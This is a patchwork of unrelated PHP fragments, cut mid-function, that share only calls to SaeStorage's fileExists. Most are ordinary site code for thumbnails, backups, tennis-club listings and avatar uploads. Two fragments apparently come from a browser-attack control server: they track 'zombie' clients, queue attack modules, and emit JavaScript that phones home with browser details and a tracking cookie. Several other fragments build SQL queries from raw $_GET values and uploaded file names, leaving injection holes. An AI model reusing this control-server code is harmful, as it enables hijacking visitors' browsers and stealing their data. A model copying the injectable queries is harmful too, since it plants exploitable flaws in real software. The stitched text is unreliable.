$UPLOAD_PATH . $thumbFile; $info['width'] = $old_image_width; $info['height'] = $old_image_height; return $info; //内置库缩略 /* $image = new \Think\Image(); $image->open($UPLOAD_PATH . $filename); //dump($image);exit; $image->thumb($width, $height, $type); $image->save($UPLOAD_PATH . $thumbFile); //缩图失败 if (!$image) { $thumbFile = $oldFile; } $info['width'] = $width; $info['height'] = $height; $info['src'] = $thumbFile; return $info;*/ } } }
/** * * {@inheritDoc} * @see \Illuminate\Contracts\Filesystem\Filesystem::exists() */ public function exists($path) { list($domain, $path) = $this->parser($path); return $this->storage->fileExists($domain, $path); }
public function action_thumb($attachmentId = false) { if (!($attachment = $this->getAttachment($attachmentId))) { return; } $model = ET::getInstance("attachmentModel"); //$path = $model->path().$attachmentId.$attachment["secret"]; $path = $model->path() . $attachmentId . '_' . $attachment["filename"]; //$thumb = $path."_thumb"; $thumb = $model->path() . 'thumb_' . $attachmentId . '_' . $attachment["filename"]; $thumb_encode = $model->path() . urlencode('thumb_' . $attachmentId . '_' . $attachment["filename"]); if (!file_exists(PATH_SAESTOR . $thumb)) { try { $uploader = ET::uploader(); $thumb = $uploader->saveAsImage(PATH_SAESTOR . $path, $thumb, 400, 300, "max"); //$newThumb = substr($thumb, 0, strrpos($thumb, ".")); //rename($thumb, $newThumb); //$thumb = $newThumb; } catch (Exception $e) { return; } } //in SAE $s = new SaeStorage(); if ($s->fileExists(SAESTOR_DOMAIN, $thumb)) { $url = $s->getUrl(SAESTOR_DOMAIN, $thumb_encode); redirect($url); } else { $this->render404(T("message.attachmentNotFound"), true); return false; } //header('Content-Type: '.$model->mime($attachment["filename"])); //echo file_get_contents($thumb); }
if ($mysqli = $db->openDB()) { $pmd = new ProjectModuleData($mysqli, $log); $attackData = new AttackData($mysqli, $log); //更新客户端状态 if (!$pmd->updateStatus($pmd_id, $stat)) { $log->error("update zombie status failed!"); } //发送攻击模块 (队列形式发送) 先进先出 //更新攻击模块队列的状态 若超时,则判定攻击失败 默认15s超时 $attackData->updateAttackStatus($pmd_id, 15); $attack = $attackData->fetchModuleToAttack($pmd_id); if ($attack) { $attackData->setStatus($attack['id'], 2); //读取脚本文件 $s = new SaeStorage(); $content = $s->fileExists(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($attack['m_path'])) ? $s->read(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($attack['m_path'])) . "\n" : ""; //基本配置 $end_script = "rat.net.config = { protocol:\"" . get_protocol() . "\"," . "port:" . get_port() . ",host:\"" . get_host() . "\",api_path:\"" . get_page_path() . "\"," . "interval:3000,ticket:\"" . htmlspecialchars($ticket) . "\",pmd_id:\"" . $pmd_id . "\",a_id:\"" . $attack['id'] . "\"};\n"; //继承module类 //$end_script .= "rat.extend(true,rat.module.".$attack['m_name'].",rat.module);\n"; //加载攻击配置 if (!empty($attack["config"]) || trim($attack["config"]) != "") { $end_script .= "rat.module." . $attack['m_name'] . ".init(" . $attack["config"] . ");\n"; } //执行攻击 $end_script .= "rat.module." . $attack['m_name'] . ".exploit();\n"; $res = $content . $end_script; } $db->closeDB(); } else { $log->error("Open database connection failed!");
<?php /*数据库备份*/ define('DOMAIN', 'dbback'); //define('', ''); $stor = new SaeStorage(SAE_ACCESSKEY, SAE_SECRETKEY); /*当天数据备份*/ $date = date('Y-m-d'); $filename = $date . '.sql.zip'; if (!$stor->fileExists(DOMAIN, $filename)) { $dj = new SaeDeferredJob(); $taskID = $dj->addTask('export', 'mysql', DOMAIN, $filename, SAE_MYSQL_DB, '', ''); if ($taskID === false) { var_dump($dj->errno(), $dj->errmsg()); } else { echo $taskID; } } /*旧备份清理*/ /*保留最近7天和每周1和每月1日的数据备份*/ $week_ago = date('Y-m-d', strtotime('-1 week')); $ninety_days_ago = date('Y-m-d', strtotime('-90 day')); if (date('N', time()) != '1' && date('d') != '8' && $stor->fileExists(DOMAIN, $week_ago . '.sql.zip')) { //if ( today != monday && today != 8.th), delete 7 days ago backup $stor->delete(DOMAIN, $week_ago . '.sql.zip'); } if (date('d', strtotime('-90 day')) != '1' && $stor->fileExists(DOMAIN, $ninety_days_ago . '.sql.zip')) { //if ( $90daysago != 1.st ), delete 3 months ago backup $stor->delete(DOMAIN, $ninety_days_ago . '.sql.zip'); }
public function activity_list() { $pageId1; $pageId2; $list = array(); $num = 0; $tip = ""; $pageId = $_GET['pageId']; $s = new SaeStorage(); $activity = M('activity'); $activity_user = M('activity_user'); $exist = 1; $club_id = $this->getClubId(); //进行原生的SQL查询 if ($_GET['type'] == 0) { $num = $activity->count("id"); $list = $activity->where('club_id=' . $club_id)->order('update_date desc')->page($_GET['pageId'] + 1, 16)->getField('id, title, introduction, type, start_time, end_time, headcount, goodcount, need_sign, cover,state'); } else { $num = $activity->where('club_id=' . $club_id . ' and type=' . $_GET['type'])->count("id"); $list = $activity->where('club_id=' . $club_id . ' and type=' . $_GET['type'])->order('update_date desc')->page($_GET['pageId'] + 1, 16)->getField('id, title, introduction, type, start_time, end_time, headcount, goodcount, need_sign, cover, state'); } $topList = $activity->where('club_id=' . $club_id . ' and push_top=1')->order('update_date desc')->getField('id, title, introduction, cover'); if ($list != null) { foreach ($list as $key => $value) { // 设置封面 if ($list[$key]['cover'] != 1 || $s->fileExists("imgdomain", 'post/' . $value[id] . '.jpg') == FALSE) { $list[$key]['cover'] = "__IMG__/activity.jpg"; } else { $list[$key]['cover'] = $s->getUrl("imgdomain", 'post/' . $value[id] . '.jpg'); } // 设置时间提醒 $date_1 = date("Y-m-d H:i:s"); $date_2 = $value[start_time]; $date_3 = $value[end_time]; $d1 = strtotime($date_1); $d2 = strtotime($date_2); $d3 = strtotime($date_3); $endSign = 0; if ($d2 > $d1) { $days = round(($d2 - $d1) / 3600 / 24); $list[$key]['tip'] = "还有" . $days . "天开始"; } else { if ($d3 > $d1) { $days = round(($d3 - $d1) / 3600 / 24); $list[$key]['tip'] = "还有" . $days . "天结束"; } else { $list[$key]['tip'] = "已结束"; $list[$key]['disable1'] = 'disabled'; $endSign = 1; } } if ($list[$key]['state'] > 0) { $list[$key]['tip'] = "已结束报名," . $list[$key]['tip']; } else { if ($list[$key]['need_sign'] == 1 && $endSign == 0) { $list[$key]['tip'] = "火热报名中," . $list[$key]['tip']; } } if ($list[$key]['state'] > 0) { $list[$key]['disable1'] = 'disabled'; } // 查询$activity_user表,是否参与过 $list[$key]['activityType'] = $value['type']; $list[$key]['sign'] = '报名(' . $value['headcount'] . ')'; $list[$key]['good'] = '赞(' . $value['goodcount'] . ')'; if ($_SESSION['tennis-user'] != null) { $auList = $activity_user->where('activity_id=' . $list[$key]['id'] . ' and user_id=' . $_SESSION['tennis-user']['id'])->limit(1)->getField('id, good_comment, sign'); if ($auList != null) { $element = current($auList); if ($element[sign] == 1) { $list[$key]['sign'] = '已报名(' . $value['headcount'] . ')'; $list[$key]['disable1'] = 'disabled'; } if ($element[good_comment] == 1) { $list[$key]['good'] = '已赞(' . $value['goodcount'] . ')'; $list[$key]['disable2'] = 'disabled'; } } } } } // 获取封面url foreach ($topList as $key => $value) { if ($topList[$key]['cover'] != 1 || $s->fileExists("imgdomain", 'post/' . $value[id] . '.jpg') == FALSE) { $topList[$key]['cover'] = "__IMG__/activity.jpg"; } else { $topList[$key]['cover'] = $s->getUrl("imgdomain", 'post/' . $value[id] . '.jpg'); } } switch ($_GET['type']) { case 0: $this->assign('class0', 'active'); break; case 1: $this->assign('class1', 'active'); break; case 2: $this->assign('class2', 'active'); break; case 3: $this->assign('class3', 'active'); break; case 4: $this->assign('class4', 'active'); break; default: break; } // 设置分页Id $maxPageId = 0; if ($list != null) { $offset = $num % 16; if ($offset != 0) { $maxPageId = ($num - $offset) / 16; $maxPageId++; } else { $maxPageId = $num / 16; } if ($_GET['pageId'] == 0) { $pageId1 = 0; } else { $pageId1 = $_GET['pageId'] - 1; } if ($_GET['pageId'] < $maxPageId - 1) { $pageId2 = $_GET['pageId'] + 1; } else { $pageId2 = $maxPageId - 1; } } else { $pageId = -1; $pageId1 = -1; $pageId2 = -1; $exist = 0; } $this->assign("page", $pageId + 1 . '/' . $maxPageId); $this->assign("pageId", $pageId); $this->assign("good", $topList); $this->assign("list", $list); $this->assign("topList", $topList); $this->assign("type", $_GET['type']); $this->assign("pageId1", $pageId1); $this->assign("pageId2", $pageId2); $this->assign("exist", $exist); $this->display(); }
/** * 文件是否存在 * @param string $filename 文件名 * @param string $type 其他参数 * @return boolean */ function file_exist($filename, $type = '') { switch (strtoupper(C('FILE_UPLOAD_TYPE'))) { case 'SAE': $arr = explode('/', ltrim($filename, './')); $domain = array_shift($arr); $filePath = implode('/', $arr); $s = new SaeStorage(); return $s->fileExists($domain, $filePath); break; case 'FTP': $storage = new \Common\Plugin\Ftp(); return $storage->has($filename); break; default: return \Think\Storage::has($filename, $type); } }
/** * 文件是否存在 * @param string $filename 文件名 * @return boolean */ function file_exist($filename, $type = '') { switch (STORAGE_TYPE) { case 'Sae': $arr = explode('/', ltrim($filename, './')); $domain = array_shift($arr); $filePath = implode('/', $arr); $s = new SaeStorage(); return $s->fileExists($domain, $filePath); break; default: return \Think\Storage::has($filename, $type); } }
case 'gif': return 'Content-type: image/gif'; break; case 'jpg': return 'Content-type: image/jpeg'; break; default: return 'Content-Type: application/octet-stream'; } } $domain = $_GET['d']; $file = $_GET['f']; $maxage = 604800; if ($domain != 'USE_KVDB') { $s = new SaeStorage(); if ($s->fileExists($domain, $file)) { //获取文件后缀名 $info = pathinfo($file); //如果后缀获取失败则默认为jpg if (empty($info['extension'])) { $info['extension'] = 'jpg'; } //输出文件头 $header = file_header($info['extension']); header("{$header}"); //cache header("Cache-Control:public,max-age={$maxage}"); ob_start('ob_gzhandler'); echo $s->read($domain, $file); } else { header("HTTP/1.1 404 Not Found");
} } rat.regCmp('rat.module'); <?php require_once "bin/Path.php"; require_once "bin/util/util.php"; require_once PHP_BASE_DIR . "/db/MySQL.php"; require_once PHP_BASE_DIR . "/entity/ProjectModule.php"; $db = new MySQL($log); $mysqli = $db->openDB(); $projectModule = new ProjectModule($mysqli, $log); try { if ($projectModule->getProjectModulesByTicket($ticket)) { $s = new SaeStorage(); $content = $s->fileExists(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($projectModule->module_path)) ? $s->read(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($projectModule->module_path)) . "\n" : ""; $content .= "rat.extend(true,rat.module.core,rat.module);\n"; if ($projectModule->config != null && $projectModule->config != "[]") { $content .= "rat.module.core.init(" . $projectModule->config . ");\n"; } } else { $content = "\r\nrat.module.core = {\r\n\tconfig:null,\r\n\tbrowser_details:function(){\r\n\t\tvar details = rat.browser.getDetails();\r\n\t\tdetails['rat_cookie'] = rat.session.get_rat_cookie_id();\r\n\t\tdetails['Core Module Result'] = 'Can't find the core module, use the default!';\r\n\t\tvar details_ob = \$.arrayToJSON(details);\r\n\t\tthis.sendResult(details_ob);\r\n\t},\r\n\texploit:function(){\r\n\t\tthis.browser_details();\r\n\t}\r\n\r\n};\n"; $content .= "rat.extend(true,rat.module.core,rat.module);\n"; } } catch (Exception $e) { //抛出异常 $content = "\r\nrat.module.core = {\r\n\tconfig:null,\r\n\tbrowser_details:function(){\r\n\t\tvar details = rat.browser.getDetails();\r\n\t\tdetails['rat_cookie'] = rat.session.get_rat_cookie_id();\r\n\t\tdetails['Core Module Result'] = 'Load Core Module Failed, Exception: " . $e->getMessage() . "';\r\n\t\tvar details_ob = \$.arrayToJSON(details);\r\n\t\tthis.sendResult(details_ob);\r\n\t},\r\n\texploit:function(){\r\n\t\tthis.browser_details();\r\n\t}\r\n\r\n};\n"; $content .= "rat.extend(true,rat.module.core,rat.module);\n"; } echo $content; if ($mysqli) {
<?php /* * 用户上传头像 */ require_once "connect.php"; $username = $_GET['username']; //获取用户姓名 $storage = new SaeStorage(); $domain = "userinfo"; if (!empty($_FILES)) { $files = $_FILES['file']; $filename = $files['name']; //获取图片名字 $fileResource = $files['tmp_name']; if ($storage->fileExists($domain, $filename)) { $storage->delete($domain, $filename); } if ($storage->upload($domain, $filename, $fileResource)) { $imgUrl = $storage->getCDNUrl($domain, $filename); //获取图片地址 //执行修改语句,将图片URl地址及图片名字写入数据库 $update = "update `user` set `imgName`='{$filename}', `imgUrl`='{$imgUrl}' where `username`='{$username}'"; $result = mysql_query($update); if (mysql_affected_rows() != 0) { echo "上传成功"; } } else { echo "上传失败,错误信息:" . $storage->errmsg(); } } else {
public function study_list() { $pageId1; $pageId2; $pageId = $_GET['pageId']; $num = 0; $list; $s = new SaeStorage(); $exist = 1; $condition = ""; $sqlCondition = ""; $keyword = $_GET['keyword']; if ($keyword != null && $keyword != "") { $sqlCondition .= " and title like '%" . $keyword . "%' "; $condition = "&keyword=" . $keyword; } if ($_GET['type'] == 1) { $studyContent1 = M('study_text'); //进行原生的SQL查询 $txtList = array(); if ($sqlCondition == "") { $txtList = $studyContent1->where('theme=' . $_GET['theme'])->order('update_date desc')->page($_GET['pageId'] + 1, 15)->getField('id, title, update_date'); $num = $studyContent1->where('theme=' . $_GET['theme'])->count("id"); } else { $txtList = $studyContent1->where('theme=' . $_GET['theme'] . $sqlCondition)->order('update_date desc')->page($_GET['pageId'] + 1, 15)->getField('id, title, update_date'); $num = $studyContent1->where('theme=' . $_GET['theme'] . $sqlCondition)->count("id"); } $this->assign("txtList", $txtList); $list = $txtList; } else { if ($_GET['type'] == 2) { $studyContent2 = M('study_video'); $txtList = array(); //$num = $studyContent2->where('theme='.$_GET['theme'])->count("id"); if ($sqlCondition == "") { $videoList = $studyContent2->where('theme=' . $_GET['theme'])->order('update_date desc')->page($_GET['pageId'] + 1, 15)->getField('id, title, img, update_date'); $num = $studyContent2->where('theme=' . $_GET['theme'])->count("id"); } else { $videoList = $studyContent2->where('theme=' . $_GET['theme'] . $sqlCondition)->order('update_date desc')->page($_GET['pageId'] + 1, 15)->getField('id, title, img, update_date'); $num = $studyContent2->where('theme=' . $_GET['theme'] . $sqlCondition)->count("id"); } foreach ($videoList as $key => $value) { if ($s->fileExists("imgdomain", 'study_video_img/' . $value[id] . '.jpg')) { $videoList[$key][imgName] = $s->getUrl("imgdomain", 'study_video_img/' . $value[id] . '.jpg'); } else { $videoList[$key][imgName] = '__IMG__/video.jpg'; } } $this->assign("videoList", $videoList); $list = $videoList; } else { $this->error("呀,小的没找到该页面!"); } } // 设置分页Id $maxPageId = 0; if ($list != null) { $offset = $num % 15; if ($offset != 0) { $maxPageId = ($num - $offset) / 15; $maxPageId++; } else { $maxPageId = $num / 15; } if ($_GET['pageId'] == 0) { $pageId1 = 0; } else { $pageId1 = $_GET['pageId'] - 1; } if ($_GET['pageId'] < $maxPageId - 1) { $pageId2 = $_GET['pageId'] + 1; } else { $pageId2 = $maxPageId - 1; } } else { $pageId = -1; $pageId1 = -1; $pageId2 = -1; $exist = 0; } switch ($_GET['theme']) { case 0: $this->assign('module', '入门须知'); break; case 1: $this->assign('module', '正手技术'); break; case 2: $this->assign('module', '反手技术'); break; case 3: $this->assign('module', '截击技术'); break; case 4: $this->assign('module', '发球技术'); break; case 5: $this->assign('module', '组合技术'); break; case 6: $this->assign('module', '组合战术'); break; case 7: $this->assign('module', '网球装备'); break; case 8: $this->assign('module', '网球网事'); break; case 9: $this->assign('module', '专家解惑'); break; default: $this->error("呀,小的没找到该页面!"); break; } $this->assign("page", $pageId + 1 . '/' . $maxPageId); $this->assign("theme", $_GET['theme']); $this->assign("type", $_GET['type']); $this->assign("pageId", $pageId); $this->assign("pageId1", $pageId1); $this->assign("pageId2", $pageId2); $this->assign('condition', $condition); $this->assign('keyword', $keyword); $this->assign("exist", $exist); $this->display(); }
/** * 上传头像 */ function upload($_FILES) { $username = $_GET['username']; $files = $_FILES['file']; $filename = $files['name']; //获取图片名字 $fileResource = $files['tmp_name']; $storage = new SaeStorage(); $domain = "userinfo"; if ($storage->fileExists($domain, $filename)) { $storage->delete($domain, $filename); } if ($storage->upload($domain, $filename, $fileResource)) { $imgUrl = $storage->getCDNUrl($domain, $filename); //获取图片地址 //执行修改语句,将图片URl地址及图片名字写入数据库 $update = "update `user` set `imgName`='{$filename}', `imgUrl`='{$imgUrl}' where `username`='{$username}'"; $result = mysql_query($update); //if(mysql_affected_rows()!=0){ echo "上传成功"; //} } else { echo "上传失败,错误信息:" . $storage->errmsg(); } }
function is_installed() { if (is_sae()) { $s = new SaeStorage(); return $s->fileExists('public', 'install.lock'); } else { return @file_exists(BASEPATH . '../shared/settings/install.lock'); } }